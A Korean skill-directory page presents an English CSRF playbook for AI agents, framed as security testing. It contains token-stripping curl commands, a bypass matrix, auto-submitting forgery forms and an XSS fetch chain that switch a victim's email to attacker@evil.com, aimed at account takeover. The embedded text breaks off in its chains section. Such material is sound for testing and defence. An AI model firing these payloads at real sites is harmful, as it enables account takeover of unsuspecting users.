본문으로 건너뛰기
Skillpedia
보안6.5k · #14057

csrf

하는 일

이 스킬은 웹 앱의 계정 동작이 교차 사이트 요청 위조(CSRF)로부터 보호되는지 확인하는 과정을 에이전트에게 안내합니다. 계정 변경을 검토하는 보안 테스터를 위한 스킬입니다.

사용하는 경우

  • ✓다른 웹사이트가 비밀번호나 이메일 변경을 촉발할 수 있는지 확인하고 싶을 때.
  • ✓보안 검토에서 폼이 요청마다 토큰을 검사하는지 확인해야 할 때.
  • ✓SameSite나 Origin 검사가 계정 동작을 보호하는지 테스트해야 하는 경우.

스킬 링크

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/csrf/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/csrf/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“제 앱의 이메일 변경 폼이 다른 웹사이트에서 제출될 수 있는지 확인해 주시겠어요?”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 로그인한 사용자의 실제 요청을 토큰 없이, 또는 잘못된 토큰으로 재현해, 서버가 여전히 받아들이는지 확인합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

CSRF Playbook

Any state-changing endpoint (POST/PUT/DELETE, or GET with side effects) that trusts ambient cookies and lacks a per-request unguessable token is forgeable. Severity scales with the action: password/email change, fund transfer, role grant → account takeover (Critical). Read-only CSRF (no state change) → Info.

1. Detection — is the endpoint actually protected?

# Capture a real authenticated request first, then replay WITHOUT the token / Origin / Referer
COOKIE='session=...; remember=...'

# (a) Strip CSRF token — does it still succeed?
curl -s -o /dev/null -w "no-token=%{http_code}\n" -X POST "https://<TARGET>/account/email" \
  -H "Cookie: $COOKIE" -H "Content-Type: application/x-www-form-urlencoded" \
  --data "email=attacker@evil.com"

# (b) Send a clearly invalid token — is it validated?
curl -s -o /dev/null -w "junk-token=%{http_code}\n" -X POST "https://<TARGET>/account/email" \
  -H "Cookie: $COOKIE" -H "Content-Type: application/x-www-form-urlencoded" \
  --data "csrf=AAAAAAAA&email=attacker@evil.com"

# (c) Swap another user's token in (token-not-bound-to-session)
curl -s -o /dev/null -w "other-token=%{http_code}\n" -X POST "https://<TARGET>/account/email" \
  -H "Cookie: $COOKIE" --data "csrf=<TOKEN_FROM_ANOTHER_ACCOUNT>&email=attacker@evil.com"

# (d) Origin / Referer header validation
curl -s -o /dev/null -w "no-origin=%{http_code}\n" -X POST "https://<TARGET>/account/email" \
  -H "Cookie: $COOKIE" -H "Origin: https://evil.com" --data "csrf=<TOKEN>&email=attacker@evil.com"

# (e) Method override (POST → GET, or X-HTTP-Method-Override)
curl -s -o /dev/null -w "method-override=%{http_code}\n" \
  "https://<TARGET>/account/email?email=attacker@evil.com" -H "Cookie: $COOKIE"

HTTP 200/302 on (a)-(e) = protection missing or trivially bypassable.

2. Bypass / misconfig matrix

Class Server flaw Bypass
Token absent no token at all direct cross-origin form POST
Token not validated header sent but never checked send empty / random token
Token not bound to session token from another account works mint a token in attacker account, use against victim
Predictable token sequential / timestamp / md5(userid) precompute
Token in URL leaks via Referer / logs / shoulder steal then replay
Method-override _method=POST, X-HTTP-Method-Override: POST turn protected POST into a GET CSRF
JSON CSRF accepts Content-Type: application/json from forms submit form with enctype=text/plain + crafted body, or use fetch
Content-type bypass only validates token when CT=application/x-www-form-urlencoded switch to text/plain or multipart/form-data
SameSite=Lax gap top-level GET still sends cookie GET-based state change, or <form method=POST> triggered by user click
SameSite=None no protection at all classic cross-site form
Missing on subset only /admin/* protected unprotected sister endpoint (/api/v1/email)
Login CSRF login endpoint has no token force victim into attacker's account → captures victim activity
Logout CSRF logout has no token denial-of-service / phishing reset
Double-submit cookie flaw cookie not __Host- prefixed / set from any subdomain XSS on subdomain plants the cookie + matching body value
Referer-only check header strippable <meta name="referrer" content="no-referrer"> on attacker page

3. Exploit PoC

3.1 Classic form CSRF (auto-submit)

<!-- host on attacker origin; victim is logged into <TARGET> -->
<form id="x" action="https://<TARGET>/account/email" method="POST">
  <input name="email" value="attacker@evil.com">
</form>
<script>document.getElementById('x').submit();</script>

3.2 JSON CSRF via text/plain

<form action="https://<TARGET>/api/account" method="POST" enctype="text/plain">
  <input name='{"email":"attacker@evil.com","ignore":"' value='"}'>
</form>
<script>document.forms[0].submit();</script>

3.3 CSRF via XSS (defeats double-submit / SameSite)

// runs as same-origin via XSS on <TARGET>
fetch('/account/csrf-token').then(r => r.text()).then(t => {
  fetch('/account/email', {
    method: 'POST', credentials: 'include',
    headers: {'Content-Type':'application/x-www-form-urlencoded','X-CSRF-Token': t},
    body: 'email=attacker@evil.com'
  });
});

4. Chains

  • CSRF → ATO: change email → password reset → full takeover.
  • Login CSRF → activity capture: victim
자주 묻는 질문

CSRF 테스트란 무엇인가요?

로그인한 사용자의 요청이 다른 사이트에서 와도 서버가 동작을 받아들이는지 확인하는 테스트입니다.

로그인도 다루나요?

네. 스킬은 로그인과 로그아웃 CSRF도 다룬다고 언급합니다.

CSRF 버그는 얼마나 심각한가요?

비밀번호, 이메일, 자금, 권한을 바꿀 수 있을 때 가장 심각하다고 스킬은 설명합니다.

상세 정보

작성자의 원본 설명

Cross-Site Request Forgery — missing/invalid tokens, method override, JSON CSRF, SameSite gaps, double-submit flaws, login/logout CSRF, and CSRF-via-XSS chains to account takeover.

repo: BitterSecurity/Decepticon

인기도

GitHub 스타
6.5k
순위
#14057
라이선스
Apache-2.0
업데이트
2026. 11. 1.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬